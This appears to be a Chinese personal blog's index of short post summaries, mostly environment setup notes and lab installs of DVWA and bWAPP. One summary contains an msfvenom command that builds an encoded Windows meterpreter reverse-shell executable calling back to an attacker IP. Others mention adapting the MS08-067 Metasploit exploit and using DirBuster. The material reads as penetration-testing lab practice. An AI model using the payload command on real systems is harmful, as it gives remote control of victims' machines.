---------------------
摘要: 好久没写了,继续记录 一:准备工作 上Oracle官网下载一个适合自己版本的jdk(注意看清楚,不要下载错了) 再下载一个tomcat 二:直接点击安装 三:安装完成之后就是配置变量、 配置环境变量:右击“我的电脑”-->"高级"-->"环境变量"。 (1)JAVA_HOME环境变量。 配置方法:在 阅读全文
posted @ 2020-06-03 15:29 豆沙包的沙 阅读(353) 评论(0) 推荐(0) 编辑
摘要: ///2020年了,祝能观看到此文章的兄dei们新的一年,心想事成,追逐自己的目标 ///话不多说,开始 环境 centos7 配置 双网卡 一个10网段,nat通信用 一个192网段 和宿主机通信使用 2c 这个测试部署的话,不是强要求,我部署后CPU也就占20% 5.4G内存 我的宿主机也就8G 阅读全文
posted @ 2020-01-02 14:51 豆沙包的沙 阅读(1660) 评论(0) 推荐(0) 编辑
摘要: ///在我一次做实验的时候需要用到,但是我一直找不到Chinese的版本的,后来也找到了方法,如下 cd /usr/share/metasploit-framework/modules/exploits/windows/smb 找到ms08_067_netapi.rb文件 在ms08_067_net 阅读全文
posted @ 2019-12-24 08:29 豆沙包的沙 阅读(308) 评论(0) 推荐(0) 编辑
摘要: windows:msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b 'x00x0axff' -i 3 -f exe 阅读全文
posted @ 2019-12-23 20:28 豆沙包的沙 阅读(883) 评论(0) 推荐(0) 编辑
摘要: ///首先先下载好dvwa这个压缩包,去晚上搜一下就有了,话不多说,开始干活 第一步: #yum install -y mariadb* php* httpd安装好数据库,php和apache 第二步: 然后将下载好的DVWA-master.zip解压#unzip DVWA-master.zip / 阅读全文
posted @ 2019-12-05 10:20 豆沙包的沙 阅读(3221) 评论(2) 推荐(2) 编辑
摘要: 第一步:#apt-get update //更新源 第二步:安装apt-transport-https ca-certificates软件包 #apt-get install -y apt-transport-https ca-certificates ///最后显示done就是安装完成了 再安装一 阅读全文
posted @ 2019-12-03 08:16 豆沙包的沙 阅读(825) 评论(0) 推荐(0) 编辑
摘要: 第一步: 下载bwapp项目 https://sourceforge.net/projects/bwapp/files/bWAPP/bWAPPv2.2/ 下载安装lampp https://www.apachefriends.org/download.html 赋予执行权限,运行 chmod +x 阅读全文
posted @ 2019-11-07 22:49 豆沙包的沙 阅读(726) 评论(0) 推荐(0) 编辑
摘要: 第一步先配好yum源,在之前的随笔有,手动翻翻哈哈哈 第二步安装 nginx,mysql,php 但为了简单,就获取lnmp安装包连接 #下载 wget http://soft.vpser.net/lnmp/lnmp1.4beta.tar.gz (这个是1.4版本的) #解压 tar -zxvf l 阅读全文
posted @ 2019-11-07 16:10 豆沙包的沙 阅读(1113) 评论(0) 推荐(0) 编辑
摘要: 第一步:安装IIs站点 安装完IIs站点,记得在安装证书服务之前要保证“WEB服务扩展”中的“Active Server Pages”为允许状态 第二步:添加证书服务 在添加或删除中找到证书服务并安装 设置为独立根,名字自己设置,一直下一步到完成即可 安装完证书服务之后呢,系统会自动在IIS的默认站 阅读全文
posted @ 2019-10-24 15:17 豆沙包的沙 阅读(441) 评论(0) 推荐(0) 编辑
摘要: DirBuster是用来探测web服务器上的目录和隐藏文件的。因为DirBuster是采用java编写的,所以运行前要安装上java的环境。 来看一下基本的使用: ①:TargetURL下输入要探测网站的地址,需要注意的是这个地址要加上协议,看网站是http还是https。 ②:WorkMethod 阅读全文
posted @ 2019-10-22 14:02 豆沙包的沙 阅读(362) 评论(0) 推荐(0) 编辑